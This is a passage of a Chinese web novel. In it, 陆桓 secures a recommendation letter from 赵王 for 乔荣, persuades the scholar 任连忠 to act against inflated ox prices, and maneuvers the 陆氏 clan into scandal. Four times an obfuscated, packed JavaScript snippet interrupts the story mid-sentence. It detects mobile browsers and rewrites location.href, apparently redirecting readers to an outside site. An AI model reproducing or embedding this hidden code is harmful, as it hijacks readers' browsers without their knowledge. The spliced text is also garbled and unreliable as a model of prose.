陆桓捻着指尖，沉凝片刻后，却似没头没尾般地问乔荣道：“乔荣，我听傅震表哥说，他打算与潘小娘子完婚后，便带着袁大娘与小虎到朝州城中开个铺子，你妹妹亦是打算跟着同去的，那你和你母亲届时作何打算？” “我爹还在牢中，或许……我们会在乔家村等我爹出狱？”乔荣神色不定，疑问道：“陆公子怎么转而问我这个？” “人既然都没有在乔家村，又有什么好守的？”陆桓轻嘘了口气，继续说道：“你莫看何照熊出狱了，可人欠下的总是要还的，如他那小儿子被流民掳去，终究是尸身都寻不到了。你父亲在狱中的这段时日，免了遭受外间的荒瘠困乏，比起湾子里的情境实已不错。” 乔荣闻言失笑，心头释然许多，但眸中依旧是困惑神色…… 他想知道陆桓话外的意思，轻笑着接过话头，道：“之前我陪我娘去探监，我爹便是这般调侃的。只他老人家担心我与妹妹的前途，自责家中受他拖累……” “好在我妹妹能跟着袁大娘学个一技之长，日后有所傍身。”乔荣眉间浮露出一抹少见的欣慰之色，偏头笑道：“且没想到的是，傅震哥会打算在朝州城中安家落户，我妹妹倒跟着长了见识。” “那么你呢？”陆桓静看向乔荣，眼底一派探究之色。 每个人都有自己的路要走的——乔荣对这一点的认知很是清楚，所以他当初才会拦着丁小娘子去陆苑为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924419|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他爹求情，才会在妹妹提说想跟着袁大娘学手艺时极力赞成。 那么他呢？他爹有丁小娘子守着，他或许去守家业？可家业已经衰败了，还有什么好守的？ “陆公子……”乔荣抿了抿唇，话音轻凝。 至此处，陆桓心知乔荣已被说动。 他从身侧的木匣子里抽出一封信来，递给乔荣道：“这是一封举荐信，投北原韩将军……当然，举荐人并非如我这般籍籍无名之辈。” “陆公子说笑了。”乔荣仅当陆桓这话是打趣，然等他看到举荐信上的印章后，神情却是彻底凝住了。 坐在对面的乔小遇迟疑了下，旋从乔荣手中拿了信笺过来……只她仅能从印章上得知举荐人是谁，但对于这人的身份来历她终究是一头雾水了。 “渔，乃赵王之名。”陆桓缓声解释道。 “赵王？”乔荣与乔小遇听言不禁面面相觑……显然，这已经超出了他们认知的范畴，两人惊讶有之、意外有之、欣喜有之，而乔小遇则不由自主地想起昨日里她问过陆桓的问题——任连忠想要扶持谁？ “可这是别人的立场，同我有什么关系？”乔小遇神色微滞片刻，摇头暗喃道：“究根寻底也好，揣测也罢，这于我有何意义？乔小遇，你到底图什么？” 图什么？乔小遇心里可清楚得很！此前她不是没有纠结怀疑过，而最终她选择顺其自然，不再筑高心湖堤坝，如今呢？ 愈是了解陆桓此人，了解那些同陆桓有关的人和事，她便知晓自己与陆桓之间存在的距离感不仅是家世的差别…… 她看见的是秧苗簇簇、椒果累累，陆桓却不是…… 乔小遇轻吸了口气，随着凉风入腹，那股灼热而秘密的心思也被她强抑了下去。乔小遇不再想陆桓同她说及任连忠与赵王的深意，也不再想陆桓相携乔荣的缘由，一向聪敏的她竟将这当成了有自知之明！ 乔荣倒是看了个九分明白！他愣愣地将视线探向乔小遇的方向，但见乔小遇的神色仅是为他欢喜的模样，心中却是五味杂陈！“我早便知道乔小遇被陆桓盯上了的，不是么？就在流民夜袭村庄那次……” 乔荣眸底划过一丝不易察觉的苦色，接着沉吟道：“陆公子，这……” 陆桓将目光转向乔荣，话音清朗地道：“这条路不见得注定通达无阻，主要在你。” “你为什么帮我？”乔荣皱眉问道。 “大约是抵御流民那晚，你让我觉着你适合走这条路。”陆桓轻声说道：“你父亲获罪，于你从军确有妨碍，但有赵王担保，你不必担心旁的。只有一点我要提醒你，赵王仅是个闲散王爷，在军中并无甚倚仗，你虽得了他的举荐信，却总要自己攒功立身的。” “我明白……”乔荣深吸了口气，旋朝陆桓拱了拱手，嗓音定然，“陆公子，我真不知怎么谢你才好，也不知日后能成怎样的景象，但有可用之处，不论居于何位，身处何境，当为驱使！” 91. 醉翁之意 到底自己为承纳下这份好意寻到了一个理由不是？乔荣如此作想。 此时的他，亦不知自己未来会通向一条怎样的路途，所谓志向、所谓高度，于他是一片模糊光影，但他清楚的是，自己便同拖罗河那湾子里冒出的草芽一枝，根系未变，而他之所以冒头，全据陆桓那番为乔小遇作打算的心思。 …… 山门巍巍，鸟鸣啾啾。 乔小遇原以为任连忠既是想要隐于此地教学的，那江北书院所在便应当是个清雅之所，可没想到这里人流交织，书院的肃然感被烟火气熏烤得荡然无存。 “不知江北书院建起有多久了？”乔小遇瞥了眼那接过陆桓帖子的小童离去的背影，皱眉低问道。 “柏木森森，瞧着有些年头。”乔荣环顾了下四周，挠头说道。 陆桓负手而立，轻笑着说：“江北书院由前朝大儒主持建院，比白麓书院都要早些，而院中规置清贫，却在两年前发生了转变。古柏见证了它的过往，而今崇流趋错，个中怪异失谐倒不知院中学子可有察觉。” “两年前？”乔小遇偏头问道。 “就是任老先生到江北书院之后。”陆桓收回那道落在山门巨匾上的视线，话音淡淡地道。 倘若陆桓话中含了叹惋意味便也罢了，可如何能表现得这般平淡……从旁路过的书院学生无意间听得这话，当即便驻足问说道：“这位公子是从白麓书院来的吧？” 陆桓稍稍侧身，不置可否。 且听那位学生冷哼道：“你不用辩解，你方才递帖子时，我已听得你是庄先生的学生……呵，可笑，庄先生怎么会收你这样的学生？” “怎么收不得？”见这学生满腹不平，乔小遇挑眉一问。 那学生见乔小遇衣着粗糙，与陆桓形成了鲜明对比，生疑他们不是一道来的，不禁睨了眼乔小遇，嗤道：“只不知庄先生的学生竟会在暗中贬低它院，真是有失德行。” “兄台此话不妥。”陆桓闻言失笑，摇头道：“其一，我贬说江北书院不在暗中，不然你也不会听到；其二，江北书院早已不是从前的江北书院，世人皆有议论，乃是求实；其三，家师严恪教风倒是真的，至于他为什么收我这样的门生，你不如去问问他？” 这话听来着实堵人，即便陆桓并未真的上心。学生也终究拂袖而去！侧旁的乔小遇与乔荣见此情状，均不由得轻轻咋舌。 “只怕在白麓山头的庄先生会连几个喷嚏罢……”乔小遇笑着偏侧过头来，问陆桓道：“只既然你父亲同任老先生是故交，为何你拜访任老先生却借的你师父的名头？” 陆桓呵笑道：“若你日后见到我师父就明白了，他老人家浑不在意旁人借他之名行事。何况我不想让你们多等……我若表明身份，任老先生便会犹豫着要不要见我们了。” 乔小遇若有所思地点了点头。 至于乔荣，他并不了解当中情形，此行仅是陪同乔小遇前来，有的事情他也没必要知道……然而有一点乔荣却是看出来了，那便是陆桓已让乔小遇渐渐走入了他的世界。 便不论由他陆桓或者陆苑延伸开去，究竟缠了些什么身份的人和事，陆桓都已经在逐步试着让乔小遇接触到…… “这般一看，当初我与傅震哥那心照不宣的疑虑是无用了。只乔小遇这颗玲珑心怎地就突然不通了，自当若即若离，然实际上她不是被陆桓吃得死死的？人让她来江北她便来了……”乔荣几不可见地摇了摇头，心中怅然有之。 清潭深几尺，云中不得知。 幽竹青翠，而覆落在石径上的干黄竹叶也密密麻麻。待行至深处，便似见着竹丛裹了一团白雾在碎金色的溪流中穿行……这情景好生静谧，却也教乔小遇觉着好生刻意。 在前引路的小童侧头于陆桓等人解释道：“说来这条石径并非无人打扫，只是也没有打扫得那么频繁罢了。任老先生喜欢清净，甚少见客，平日里便只有送饭食的童子和求问的学子过来，这竹叶便被人踩碎一层，回头风一吹，便又盖过了，我们也是头疼得紧。” 但听出小童话中所隐含的对任连忠的推崇之意，陆桓不曾出言附和，仅淡淡一笑。小童或是误解，或是不曾多想，又顾自说了些任连忠的饮食起居之事，几人很快便到了目的地。 这便是前太子太傅、当朝名儒的隐居之所？ 推开柴扉，目及处所耕所植确像个农人的日常生活情景。乔小遇与乔荣都是从黄泥里生出的，他们很清楚劳作的辛苦，而如任连忠这般悠闲自得的状态他们却是想都不敢想了…… “这位任老先生当真是个闲人了。”乔小遇隐去面上那抹不适感，与乔荣一同由人领了去了一处屋中静等。陆桓与她点头示意，旋才移步走开。 小童这厢一边给乔小遇两人倒着茶，一边则试探性地问道：“两位是与方才那位公子同来的，可是也有事要寻任老先生？” “这……似乎暂说不定。”乔小遇话音微微停顿了下，抬眸说道。这话十分含混了，小童没能探知得什么，只好存了疑问，皱眉离开。 微风拂来，竹帘被掀离开所在面，陆桓与任连忠对弈的情形落入乔小遇二人眼中。 虽是对弈，可两人手中均无棋子，便只静坐互察而已。任连忠的脸色很不好看，他原本将陆桓当做庄先生的学生看待，以为青年才俊，风华正茂，可没想陆桓低头轻啜了口茶后，便摊明了身份…… 任连忠一时有些无所适从。气氛沉凝片刻后，任连忠方僵笑说：“没想到时间过得那么快，一晃眼便几年过去了，老夫也没想到竟会在这样一种情境下见到你。” “什么情境？隐于山野，茶却还是上等毛尖？”陆桓哂笑，指尖轻轻摩挲着瓷杯，接着说道：“任老先生既要作戏，便应作得真实些……或者，您终究不甘清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924420|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贫之苦。” 任连忠听得微微皱眉，旋摇头失笑道：“你一点也不像你父亲，你父亲虽然行事刚直，但言辞一向温和。” “任老先生还记得我父亲？”陆桓眉眼间尽是疏离与淡漠。 任连忠长叹了口气，意欲解释，只他又想那些释言怕是连他自己也不信的，于是呵笑了笑，“坦然”地道：“那样一个无双才士，谁会忘记呢？君主信之，可为长枪铁戟，破乱立政；小人妒之，便为河沿腐草般，叶片渐渐发黄发黑……” “你没有必要替你父亲不值。”任连忠低眉看了眼盏中渐凉的茶水，说道：“你有何所求，且挑明吧。” 陆桓淡淡一笑，径直道：“秦王暗中高调牛价以牟暴利之事，想必您已有所耳闻了罢。” 至此，陆桓似乎已全然“打消”了为他父亲争辩的意思，神情连半分转折感也无。 任连忠心下暗叹或许陆桓的心思本就不在他父亲身上，人摊明身份仅是将自己身前这茶换为酒水而已，真真是“醉翁之意不在酒”，而任连忠明明最不愿提陆彰，却忍不住提了…… 陆彰得了那样一个结局，在任连忠看来是必然的，他既乐见，也有些惋然。但都不重要了，因为陆桓来访是为抑制牛价一事。 任连忠眉色沉凝了片刻，点头道：“确有耳闻……不过，此事似乎同你没有什么关联，与老夫也没有关联。” “没有关联？”陆桓淡哂，摇头道：“您这样打断后续……这般行事作风竟一直未变，我当十分清楚的，不是么？想当初，您选择作壁上观，任看我父亲遭遇那样一个结局……就说您顺脚将我父亲的头踩入泥塘中我也是信的……” 任连忠听言皱眉，实觉着陆桓这话有些诛心，下颌处的线条也比方才要紧绷了几分，道：“年轻人，慎言。” “其实这话真实与否，任老先生心里最明白了。世人的议论，您也入了耳，只或许这是第一次有人当着您的面将它说出来。”煮沸的茶水腾起雾气，使得陆桓的眸底仿佛覆染了一层什么特别的东西一般，欲揭未揭。 “你父亲可不似你这般狂悖无礼。”任连忠尽量抚平心头的波动，沉声道。 陆桓挑笑，“这算是劝诫么？” “就算是劝诫”，陆桓微微点头，接着说道：“就算牛价高涨之事同我一个闲人无关，但闲人也是要以米粮裹腹的，若同您这般饮露止饥，那您今日所见的我，便当面黄身枯，如何还能狂悖无礼呢？” 任连忠既是气噎，可也忍不住发笑，摇头半是生怒、半是无奈地道：“你这小子……” 至此，任连忠算是“适应”了陆桓这作派，言无恭敬、行状无端，只莫以为年轻人逞口舌之利，心浮气躁，过于外露…… “你终究与你父亲不同。”任连忠深深地打量了眼陆桓，转道：“你无非想让我承认自己沽名钓誉罢了，这没什么不好承认的。” 92. 警告劝诫 “既说到此处，便没有什么可遮掩的了。”任连忠轻抬起晦暗的眼，而语气并没有因为这种“坦然”而松释半分，他轻声道：“可即便是你亲自来了也无用，此事老夫不会轻易插手。” “您也说‘不会轻易’了，却还是有可能的不是么？”陆桓微微颔首，道：“的确，您有那个耐性，等泥尘冲过几层，看清水底浮烁的金沙，因为您如今是个彻头彻尾的山间闲人，可是他们等不了。” “他们？”任连忠迟疑了下，而目光终随陆桓转至竹屏处。 …… 原本，从乔小遇口中说出的数字对任连忠不算什么，他应该无动于衷，可待听完，任连忠却觉着自己的唇皮干涩得紧，而周遭的风里所挟裹的湿气仿佛也被蒸干了去。 这般一看，倒更像是因为陆桓一行的到访，那股皲皱了朝州土地的干风撕扯着吹到了这里。 “原照预估来算，一头耕牛的价钱在二十贯左右。以民女家中并户共买的情况为例，除去官府出借的三贯，每家还需筹得七贯钱，这个数额本已经让人难以承受，可没想……” 乔小遇顿了顿话音，接着道：“江北牛价暴涨，以至于每户还需多出五贯！若能剜肉以抵，只怕也是有人愿意做的！我们几番奔走却无甚结果，只得拜求于您，还请庄老先生出面，挽救万一！倘若事成，那剜肉便割置于鼎中遥拜于您，村民们也只有感激的。” 乔小遇这话实算严重了…… 对比陆桓如剑光般清寒的“咄咄逼人”，她跪拜于地，单薄的背仿佛一柄锈迹斑斑的铁剑般，只需轻轻一敲，这柄铁剑便会断作几截！ 可在场的人中，任连忠才是最腐朽的那个！ 这点任连忠也承认，否则当下他也不会感到惊骇了，只他终究有些想要退步，于是开口提议说：“不如老夫奏请官家，出借的银钱多增两贯，利息也尽量与之前相平，只时情紧急，此篇怕是要等你们回到朝州后才有下文。” 乔小遇闻言脸色有些青白，又低拜道：“只怕这法子仅是扬汤止沸。” 终究是一阵静默了。 原本政令所达，官府借予农户买牛的低息银钱为每户三贯，这本算得说是助推了耕牛买卖，减轻了灾情，但在施行的过程中，能得到这笔钱扶持的农户在灾区仅占到了十分之七八！ 之所以是这样一个数目，左是有人贪昧、有人苛刻、有人保守勿进罢了！任连忠混迹官场数十年如何不知？便说乔家村，大家伙能顺利记名出借低息银钱，也是沾了陆苑的光的缘故。 任连忠忍不住长长一叹，神色似十分动容。相比于他，陆桓却是一直紧拧着眉，余光斜探向乔小遇…… 陆桓知道此行乔小遇会将姿态放得极低，因为如任连忠这样的人物，其实连陆桓也并不能推定人会以怎样的方式接受这场“游说”。 乔小遇依旧半跪着，此时她与陆桓距离相近，而陆桓甚至能够感觉到她压抑着的气息，这无疑令陆桓觉着口唇之中似含了块姜片般滋味难言——尤其当乔小遇仔细将何小知被送养的故事细说之后。 这个故事微不足道，它渺小得像是牛毛春雨里的一丝，茫茫洒洒中无法辨清流落的痕迹；它也不具有多少份量，因为一直一来对此事耿耿于怀的仅有乔冉安夫妻俩罢了。但无论如何，乔小遇所言都是一场灾疫的缩影。 可仅此就能说动任连忠么？毕竟任连忠的反应过于平静了…… 他应当是平静的，如果以他的阅历来说的话。但陆桓却发现乔小遇的这个故事同任连忠的出身有着一种特殊的关联：任连忠也是被徽州任氏收养的。 可以说在任连忠之后的仕途生涯中，徽州任氏的身影总是少不了的，只世人皆传他与徽州任氏嫡系子弟的关系并不融洽，对生父生母亦十分苛刻，这点可以说是任连忠一直受人非议的…… 陆桓心头存了诧异，须知这“关联”乔小遇是不知道的。既然她不知道，那她何以提说此事？ 任连忠的眉间不自觉地笼了层阴云，有些莫名的东西渐压进了他的眼底。他干笑了声，余光瞥过乔小遇低伏的头，道：“你可知在陆小公子眼中，我是个不近人情的，怎会一再退步？” “您需要一个退步的理由，而这个理由我们给您了。”阴云之下，乔小遇缓将头轻抬起来。 听得此言，陆桓与任连忠的脸上均浮现出错愕深色，而陆桓紧接着却憋忍不住一声“噗嗤”，对任连忠拱手道：“怎么看此程都足显诚意了，晚辈等着您‘下凡’的一天。” 他这会儿倒好意思称自己是晚辈了？任连忠扯了扯嘴角，且听陆桓接着道：“您尽可以借题发挥，声名什么的都可以成全您，包括赵王那边……” “赵王？他不是只醉心于做些木工的么？同此事有什么关系？”任连忠的话音有些讶异，心道：“陆氏的荣光早已湮灭在岁月无声的河里，陆桓偏生跳出来折腾就算了，怎么选了个匠人？这究竟是谁痴了？” 是了，“醉心”这词换个说法可不就是痴了？ 陆桓淡笑：“深海游鱼，哪知他日不会化为飞龙？本以为如任老先生这般惯会‘韬光养晦’的人是最明白这个道理的。” 任连忠心头划过一丝郑重，而陆桓也不打哑谜了，竟直接当着乔小遇的面说道：“任老先生早年在地方任过父母官，赵王所改造的土犁究竟有没有功效，您见之便可明晓，届时便也不论说这东西是个王爷的功德，还是个匠人的功德了……” “另还有些法令革变，需得‘仰仗’任老先生。”话至此处，陆桓可终于将自己的来意给道了个分明，而乔小遇与任连忠各自心头所牵之石也是落了下来。 任连忠重新端回了副平静无波之相，却知陆桓乍看无甚作为， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924421|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可心中已有丘壑，即便后辈之人行举之中对自己冲撞再三…… “老夫当收回你不似你父亲的那些话。”任连忠隐去眸中那股激赏之色，沉吟道。 陆桓面色稍凝，随即又讽说道：“可贺可贺……想来这些年任老先生从未敢提起家父吧，今日却是难得。” “小子，你……”任连忠似要急言几句，可迎上陆桓那双与故人像极了的黑眸，却又摆了摆手，道：“你们走吧……只是陆桓，老夫不得不提醒你的是，莫要步你父亲的路。” 陆桓斜睨过任连忠那还微微发红的脖颈，起身对任连忠拱手，道：“晚辈谢过先生诫勉之词。”接着转身将乔小遇扶身起来，却是头也不回地走了。 乔小遇连忙行礼拜别…… 人影淡散，茶味涩凉。任连忠终是轻呼出一口气，叹声道：“他听懂了……且莫以那锦绣前程作倚，以为在披荆斩棘，没有人看得过去的。” 任连忠是看不下去的，所以陆彰遭遇贬之事他并不是简单地作壁上观，他不承认自己心存愧疚，只是遗憾陆彰英年早逝——没错，这世间最让人遗憾之事有二，一者是英年早逝，二者是英雄迟暮，他任连忠便生怕自己是后者。 至于陆桓，任连忠的警告他其实没有上心……或者说，他早已决定走一条和他父亲不一样的路。 乔小遇路上看着他一言不发，有很多话想问，却又不知从何开口，只好岔过心思，与乔荣大略提说任连忠已允下抑价之事。 乔荣心间喜不自胜，但出于直觉，他没有夸说任连忠——这些人的心思都太深了，仿似流民来袭时的拖罗河般，映照其中的火光也涌动着，教人看不清楚轮廓。 “乔小遇，我要先走了。”马车上，陆桓倏然睁开了眼，对乔小遇缓声说道。 “啊？”乔小遇与乔荣闻言均是错愕。乔小遇紧抿着唇，强按压下心头的疑问、恍惚与关切，沉默了片刻后，点了点头。 这就不问去哪吗？“约”说来江北，他姗姗来迟，为什么不问下原因？如今抑制牛价的事远还未到落定之时，他便要先行离去，这也没有疑问吗？ 陆桓拧眉，心头浮起一丝不舒服，却还是轻言解释道：“我要去一趟北地。” “那……你小心一些。”乔小遇话音轻喃，忽觉着自己除此之外竟没有什么可说的了。 “我知道了。”陆桓眸底渐浮起柔和的笑意来，见乔小遇还怔懵着，又道：“我会尽快回来。” “嗯……”乔小遇不自觉接过这话后，脸上腾地一热，实在恼自己接得莫名其妙，只得侧脸过去，一面想着途中颠簸，她那声应是被轱辘声掩过去了吧…… “这厮与我说这些做什么？”乔小遇心神恍惚着，“只他是去北地么？我不曾去过，不知该言说叮嘱什么，却想知道那位的警告于他而言究竟意味着什么……” 93. 声望之利 还未长出羽翼的雏鸟，已让枝窝外的黑鹰投来幽深的目光，这当如何应对？ 陆桓“毫不吝啬”地任连忠送去了声望之利，甚至不惜搭上了陆氏，这是陆彪等人所没有想到的，而等他们回过神来，竟久久地滋味莫名——陆氏于陆桓而言恐怕就是个屁！ 这厢任连忠发作总得等上几日的，乔小遇他们只得安心等待，无论心里有多焦急。可汪管事的一听陆桓就要离开此地，却实在坐不住了。 夜中，灯火晕黄。洗漱过后的陆桓，头发且还湿着，章奴不在，他似乎懒得讲究了，也不拿了帕子拧干。 前来探风的汪管事倒想上前服侍的，只看着陆桓冷淡的神色，一时犹豫了。 不过“投诚”的样子嘛，倒一定要做足的。陆桓搓捻开叠纸开头的两张看了看，已不禁在心头哂笑陆彪等人待自己的诚心可贵…… “汪管事，这些东西不该我看的。”陆桓假意凝眉，叹道：“想来你也知道我今日去了什么地方，任老先生是否援手且还估摸不定，但我已经做了自己能做的。至于这上面关于黄管事所做的龌龊事，我是不能管了。” “小主人，这事要是您不管，江北买牛的差事定是要被我搞砸了，我这还怎么回得去陆苑？”汪管事心下有些焦急，愕道：“他们……他们贪昧下的钱财这样多，犹同将陆家的根系给扯了一根去，回头主子们知晓了此事，那黄管事自是有人罩着，可我……” “至少你没有隐瞒不报不是？”陆桓定定地瞥了他一眼，一边将手中纸张叠起，一边说道：“可是你将我牵扯进来算怎么一回事？” “小主人，您这说的什么话！”汪管事磕了头，接着道：“既然查知得那黄管事干的勾当，我又怎能装作不知，只眼下事情万急，我也仅能将此事禀报给您，由您定夺。若黄管事觉察到了什么，紧了日子将交易定下，届时损了陆苑皮毛，我便是万死也难辞其咎，且怕是等不到回陆苑，我这条性命就交代在路上了。” 陆桓心头讥讽不由盛了几分。 黄管事所图怕早在来江北之前就被陆彪觉察出了什么，只陆彪和汪管事大抵也没想到族中某些人“蠢莽”到连黄管事这样的角色也能担上这样的事，以至于防备不足。 既然是不起眼的角色，黄管事自然可以在交易定下之后来个金蝉脱壳一走了之，他是没必要杀汪管事的，毕竟就算汪管事回到陆苑也将面临族里的惩罚。 而陆彪被人摆了这么一道，也只能给人送去银钱——陆氏最重声名，被人讨债这种事传出去可不让人笑掉大牙？尤其此行还跟了乔家村一行人，紧抿了的嘴巴且还留了鼻吸气，陆彪终究有些被动了。 这种时候，是不能再说“你大可回去与族长禀明详情，许能挽救万一”的蠢话了，可陆桓就真去管了么？他长这些年，遂从人愿的事情早不干了。 问题的本质也不在这里。既知道汪管事存的什么心，便晓得他那句无人罩着的没说出口的话有多假。左右陆桓若允下，且不管能不能成，汪管事便算完成了陆彪的嘱托——因为陆桓在陆氏派系之争中表态了。 这些弯弯绕绕，陆桓看在眼里，心头却是疲倦的。 他大抵恣意惯了，这次的不遂人愿，竟有了一丝报复性的意味——他给汪管事出了个馊主意。 “我哪里还算什么主子，可你既将事情求到我这处，我终究是没法置若罔闻了。”陆桓敛了神色，叹了声道：“你也知道我的处境，倘若我真的插手处置了那姓黄的，族中可不得掀起浪来，不说别人，单就族长那边，我也不想有人因我的事在他跟前多生些口舌是非。” 汪管事面色稍喜，拱手且欲补充两句，却见陆桓轻轻地摆了摆手。 “罢了……此事耽搁久了恐生变故，今夜你便去跟着去一趟江州郡上吧。”陆桓这时耷拉了榻边的那双木屐，起身往前轻踱了几步，留给汪管事一个背影，“江州郡守王全素来颇具声名，听闻此事定会秉公办理的。况且，牵扯到陆氏……” 汪管事有些迟疑，“可这般一来，事情不就闹大了吗？想来这仅是族中之事……” “汪管事说笑呢？此事牵扯到了皇家子弟，哪里能是陆氏能断得了的。”陆桓凝声道：“你见到王全后，也不必将自己查到的东西都与他抖落个干净，王全自会接过这芋头，等他觉着发烫了，却也会因为陆氏的缘故而无法丢开。” 汪管事思索了瞬，忽觉得这几日压在他心头的那块巨石可终于有了托落的法子，于是他谢过陆桓之后，便踩了月色往渡口的方向去了。 水路稍快些，等天色将明时他就能将陆氏的名帖递到王全手中了。这案子越了级，不过汪管事终究还是不太愿意看到陆氏的私案被放置在公家的衙署里头审的，所以他递了名帖，没有扮演击鼓鸣情的戏码。 然而汪管事怎会料到，王全此人完全没有自己接到一个烫手山芋的自觉。 这厢黄管事只紧了时日去签契约，其他的事于他而言便似被人蒙了层黑罩般，汪管事亦是如此。 为什么非得是王全呢？陆桓查过，王全考中进士那次，受过任连忠的科恩……明上是没有什么来往了，可许多事向来丝弦相扣，又怎会没有关联？ 王全也是个官场的妙人，陆氏的名帖到他手上时，拿不准任连忠心意的他只得将此事压制，对汪管事这只急蚂蚁退避不见的同时，还不忘安抚平息。左盼右盼之际，可终于等来了任连忠的消息，他这才施展自个儿的雷霆身手。 事情的发展远超乎汪管事的意料！且瞧着一把大火从他跟前烧来，将他烧了个面目全非，无处安身，那大火竟已呼啸着往天边烧去了。 一时间，陆氏上下备受流言困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924422|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰，又是勾连又是结党，似乎这哄抬牛价一事是由陆氏主导的，甚至有说陆氏准备再扶持出一个新的皇太子——虽然，或说显然，陆氏中人的眼睛真是越来越瞎。 提及此处，一些狂士不免心生怅惘，昔日陆彰襄辅太子的事情又被重新翻了出来。 至于秦王，则是这场大火所燎原野的最烈、最猛之处，当他发现陆氏也被卷连其中时，很是担心官家因此而忌惮他，虽然他是很想将陆氏拉上自己这条船，可陆彪同陆氏中的那些顽固老头便似茅坑里的臭石头般，不是他能拉拢的。 有意思的是，陆氏上下也为这场流言伤透了脑筋：幸好是陆苑那边的管事自己将此事曝光的，世人多当是门户之争，然而此事牵扯到皇家，在有心人的推动下，结党之名总是免不了了。 汪管事可悔死了！等他回过神来，立马将事情经过禀了详情，遣人往陆苑递了急信。 可想而知，陆彪耐着性子将信件看完后，便将这信揉搓成了一团！ “怎么会是桓儿做的？”陆彪心绪有些不稳，眸中尽是一副不可置信之色，戚然道：“他究竟是要做什么啊？何以如此！何以如此！” 席下几位长辈，一些面色颓然，欲言又止，一些倒是直接拍桌骂道：“不是他，难道是汪冽那个没脑子的做的？我早就说过，陆桓此人心思阴沉、脾性顽劣不堪，加上他父亲的事，他对陆氏上下定然心有怨言！否则也不会在背后捅咱们这么一大刀子！” “当真是会咬人的狗不叫啊！”另外一人抚了白须，讽刺道：“当初若不是族长，如今这陆苑上下怎会有陆桓的立身之地？不知感恩的臭东西！依我看，明日就将盛氏打发去庄子上吧，他母子二人的生死将再与我陆苑无干！” “三太公你话说得好听，假似陆苑不曾从陆桓他父亲身上得到半分好似的！说到底，大家都是一家人，如今闹成这样是何必呢？” “呵呵，一家人？那狗东西若当你是一家人，会去咬你一口吗？” “话也不必说的那么难听！说到底，您不就是担心此事会影响吏部那边嘛，在座的也都清楚。三年期满，正是职位变动之时，陆氏扯出这么一桩事，官家心里总会有疙瘩的。什么韬光养晦，就怕陆氏就此衰颓下去，好不容易留了些根系在朝中，就怕……哎，都是打断骨头连着筋，桓儿他怎么就不明白呢？” 大家伙你一句我一句，不在当场的陆桓已成了个恶人，且等盛大娘子这边到场后，她人竟直接被气得晕厥了过去！ 陆桓究竟是何苦来哉！ 为维护声名，陆氏自极力与秦王一系撇清关系，而王全对这件案子的处置如何公明，陆氏只能打碎了牙往嘴里咽，当他们得知任连忠将要借此机会起复时，亦只能表示支持。 曾经的敌对者，如今却是被陆桓架着得将人往上捧了…… 94. 激流涌荡 短短数月，乔家村的农植已经收过一茬，虽然收成不算得如何好，但官府免了赋税，百姓的温饱是不会有问题了。现下，山间地头已经撒下了荞麦种子，只等一场大雨浇透，便会冒出新芽来。 与此同时，外间激流涌荡…… 先道之前的牛疫之事：随着任连忠的迅速起复，淮水两岸对牛疫和流民暴动迥然的处理方式成了几摞官家案头上的奏本，朝堂清流对秦王的做法十分抨击！眼见他势低将被问责，秦王母妃身怀有孕的消息接着传来，一帮朝臣竟眼看着架在秦王头上的闸刀突然撤了去，一时间让人激愤唏嘘。无论如何，秦王已然失了圣心…… 官家对秦王或许还存有舐犊之心，但对陆氏却实在反复无常：先是汪姓管事投贴状告，江州郡守王全以雷霆手段查说分明，一应罪证直接转呈临安，刑部和大理寺面对这么大个已经烧熟的山芋，竟互相推责不敢相接……圣心晦晦，上下拖了两月不曾有所决断，另一面却令人转而去清查陆氏，结果确系陆苑派系分裂，不曾找到陆彰的影子。 也是，一个已然故去的人怎么找得到他的影子呢？当详查禀上，众人才惊醒过来，陆彰是官家心头的一根刺，时间愈久，就会让人愈感刺痛。陆氏依旧让人忌惮，三年期满的考定调动，陆氏中人官职升迁者众，可去处却再一次远离了临安。至于陆氏被迫架着任连忠登高呼远之事，官家又似乎乐见其成，将人直接提了作枢密使。 